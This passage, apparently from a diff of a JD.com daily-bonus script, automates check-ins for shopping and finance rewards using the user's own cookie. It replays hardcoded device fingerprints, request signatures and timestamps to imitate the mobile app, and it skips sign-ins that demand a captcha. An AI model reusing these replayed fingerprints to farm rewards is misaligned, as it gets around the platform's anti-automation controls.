JingDongTurnSign(2000) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(机会已用完|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid) { + return console.log(`\n${title} >> 可能需要拼图验证, 跳过签到 ⚠️`); + await new Promise(resolve => { + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=ztmFUCxcPMNyUq0P`, + headers: { + Cookie: KEY + } + }, function(error, response, data) { + resolve() + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=ztmFUCxcPMNyUq0P', + headers: { + lkt: '1629984131120', + lks: 'd7db92cf40ad5a8d54b9da2b561c5f84', + Cookie: KEY + }, + body: `turnTableId=${tid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 �` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : 